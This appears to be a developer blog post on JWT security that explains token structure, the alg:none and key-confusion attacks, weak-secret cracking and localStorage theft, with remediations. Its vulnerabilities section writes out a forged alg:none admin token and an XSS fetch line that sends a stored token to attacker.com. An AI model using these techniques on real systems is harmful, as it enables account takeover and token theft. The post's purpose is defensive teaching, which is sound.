Skip to main content
7 min readKarm Patel

The Ultimate Guide to JWT Security: Best Practices and Vulnerabilities for Modern Developers

Master JSON Web Token (JWT) architecture, discover critical security pitfalls like alg none and key confusion attacks, and learn how to safely inspect and validate tokens.

JWTWeb SecurityAuthenticationCryptographyOAuth2Backend

The Ultimate Guide to JWT Security: Best Practices and Vulnerabilities for Modern Developers

JSON Web Tokens (JWT, defined in RFC 7519) are the ubiquitous authentication and identity exchange currency of modern web applications. From single-page applications and mobile backends to microservices and OAuth 2.0 / OpenID Connect workflows, JWTs provide a stateless, compact mechanism for transmitting cryptographically verified claims between parties.

However, the widespread adoption of JWTs has been accompanied by recurring architectural mistakes and catastrophic security vulnerabilities. Far too often, engineering teams confuse integrity with confidentiality, store sensitive passwords in plain sight, fail to enforce signature algorithms, or store tokens in locations vulnerable to Cross-Site Scripting (XSS).

In this deep-dive guide, we will deconstruct the internal mechanics of JWTs, explore the most critical historical and modern attack vectors, and outline concrete, defense-in-depth strategies for implementing and inspecting tokens securely using our client-side JWT Inspector.


1. Anatomy of a JSON Web Token

A JSON Web Token is a string consisting of three Base64URL-encoded segments delimited by periods (.):

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzYyMjE0NDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
│                                   │                                                                                       │
└─────────── 1. Header ─────────────┴───────────────────────── 2. Payload ──────────────────────────────────────────────────┴──────── 3. Signature ─────────┘

Let's break down each constituent component:

1. The Header

The header specifies the cryptographic envelope metadata, primarily the token type (typ) and the signing algorithm (alg):

{
  "alg": "HS256",
  "typ": "JWT"
}

Common values for alg include symmetric HMAC algorithms (HS256, HS384, HS512) and asymmetric public-key cryptography algorithms (RS256, ES256, EdDSA).

2. The Payload (Claims)

The payload contains statements about an entity (typically the authenticated user) and additional session metadata. These statements are called claims:

  • Registered Claims: Standardized, optional claims recommended by RFC 7519:
    • iss (Issuer): The identity provider issuing the token (e.g., https://auth.example.com).
    • sub (Subject): The unique identifier of the user or principal.
    • aud (Audience): The intended recipient service (e.g., api.example.com).
    • exp (Expiration Time): Unix epoch timestamp after which the token is invalid.
    • nbf (Not Before): Unix timestamp before which the token must not be accepted.
    • iat (Issued At): Unix timestamp indicating when the token was created.
    • jti (JWT ID): Unique identifier for the token used to prevent replay attacks.
  • Public & Private Claims: Custom application-specific data, such as tenant_id, email, or roles.

3. The Cryptographic Signature

The signature validates that the token was created by an authorized party and has not been tampered with in transit. For an HMAC-SHA256 signature, it is computed as:

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secretKey
)

Crucial Insight: A standard signed JWT (JWS) provides authenticity and integrity, NOT secrecy. The payload is merely Base64URL-encoded, meaning anyone with access to the token can decode and read its full contents using a Base64 Decoder or our JWT Inspector. Never place API keys, passwords, or unencrypted personally identifiable information (PII) inside a JWT payload.


2. Common JWT Vulnerabilities and How to Prevent Them

Vulnerability 1: The Infamous alg: "none" Exploit

RFC 7519 allows tokens to be created without a signature by specifying "alg": "none". This was originally intended for debugging and unsecured communication over already-encrypted channels.

In vulnerable libraries, attackers could take a legitimate user token, alter the payload to grant themselves administrator privileges ("role": "admin"), change the header to {"alg": "none"}, remove the signature portion, and submit the modified token:

# Tampered token with alg: none and empty signature:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjMiLCJyb2xlIjoiYWRtaW4ifQ.

If the server's verification logic blindly trusted the algorithm specified in the client-supplied header, it skipped signature verification entirely and accepted the forged token!

Remediation: Modern JWT libraries must strictly enforce an algorithm allowlist configured on the server side:

// SECURE: Enforce expected algorithm explicitly in backend verification
import jwt from 'jsonwebtoken';

export function verifyUserToken(token: string, secret: string) {
  return jwt.verify(token, secret, {
    algorithms: ['HS256'], // Explicitly reject 'none' and other algorithm mismatches
    issuer: 'https://auth.tooloraa.in',
    audience: 'https://api.tooloraa.in'
  });
}

Vulnerability 2: Key Confusion Attacks (HMAC vs. RSA)

This insidious attack occurs when a backend expects an asymmetric algorithm like RS256 (where the authorization server signs with a private RSA key and API services verify with the public key).

An attacker extracts the public verification key (which is publicly accessible via .well-known/jwks.json), crafts a forged token, and signs it using the public key as the HMAC symmetric secret, setting alg: "HS256".

If the server's verification function does not enforce the algorithm type:

  1. The server reads the token header and sees HS256.
  2. It fetches its standard verification key (the RSA public key string).
  3. It passes the public key into an HMAC verification function.
  4. Because the attacker signed the payload with that exact same public key, the HMAC signature matches!

Remediation: Never dynamically determine the cryptographic algorithm from the incoming token header. Mandate the expected algorithm in code (algorithms: ['RS256']).


Vulnerability 3: Weak Secrets and Offline Brute-Forcing

When using symmetric HMAC algorithms (HS256), the entire security of the system relies on the entropy of the shared secret. If a developer uses a trivial secret like secret123 or my-company-jwt-token, an attacker possessing a single captured JWT can crack the secret offline using tools like hashcat at rates exceeding billions of hashes per second without touching your server.

Once the secret is cracked, the attacker can forge valid tokens for any user indefinitely.

Remediation:

  • Generate cryptographically secure secrets with at least 256 bits of true entropy using standard CSPRNGs (crypto.randomBytes(32) in Node.js or crypto.getRandomValues(new Uint8Array(32)) in the browser).
  • You can compute cryptographic hashes of random seeds using our SHA-256 Hash Generator to verify key strength.

Vulnerability 4: Storing JWTs in localStorage

Many frontend tutorials instruct developers to store authentication tokens in window.localStorage. While convenient, localStorage is completely accessible to any JavaScript running on the page.

If your application suffers from a single Cross-Site Scripting (XSS) vulnerability—via an outdated NPM dependency, unsanitized user comment, or compromised third-party script—an attacker can execute:

// Exfiltrating JWT via XSS
fetch('https://attacker.com/steal?token=' + localStorage.getItem('auth_token'));

Remediation: Store authentication tokens in HttpOnly; Secure; SameSite=Strict cookies whenever possible. An HttpOnly cookie cannot be read or accessed by client-side JavaScript, effectively neutralizing token theft via XSS.


3. Best Practices for Production JWT Architecture

To build a resilient authentication pipeline, implement these four operational principles:

  1. Keep Expiration Times Aggressively Short: Access tokens should have a lifetime of 5 to 15 minutes (exp: Math.floor(Date.now() / 1000) + (15 * 60)). Pair short-lived access tokens with a stateful or rotating refresh token stored in an HttpOnly cookie.
  2. Implement Refresh Token Rotation (RTR): Every time a refresh token is exchanged for a new access token, invalidate the old refresh token and issue a new one. If a refresh token is used twice, assume it was stolen and invalidate the user's entire session family immediately.
  3. Include the jti Claim for Revocation: Because JWTs are stateless, you cannot revoke a specific token before its expiration without maintaining a revocation list or blocklist. Assign a unique UUID to the jti claim and store invalidated token IDs in a Redis cache until their natural expiration.
  4. Inspect Tokens Locally: When debugging token claims, headers, and expiry timestamps during development, never paste production authorization tokens into untrusted online decoders that log your tokens. Use Tooloraa's 100% client-side JWT Inspector to inspect payloads, verify signature structures, and diagnose expiration issues locally in your browser memory.

Summary Checklist for Developers

Security Control Vulnerability Mitigated Implementation Standard
Algorithm Whitelisting alg: "none" & Key Confusion Explicitly pass algorithms: ['RS256'] in verification options
High Entropy Secrets Offline Brute-Forcing Minimum 256-bit cryptographically random key
Short Expiration (exp) Stolen Token Replay 5–15 minute access tokens with refresh token rotation
HttpOnly Cookie Storage XSS Token Theft Set-Cookie: token=...; HttpOnly; Secure; SameSite=Strict
Local Token Inspection Credential Leaks in Dev Inspect tokens via client-side JWT Inspector

By implementing rigorous server-side verification constraints and treating tokens as sensitive authentication artifacts, you ensure your applications remain secure, performant, and resilient against modern attack vectors.

Tooloraa Engineering

100% In-browser processing with zero remote server data uploads.

Back to all articles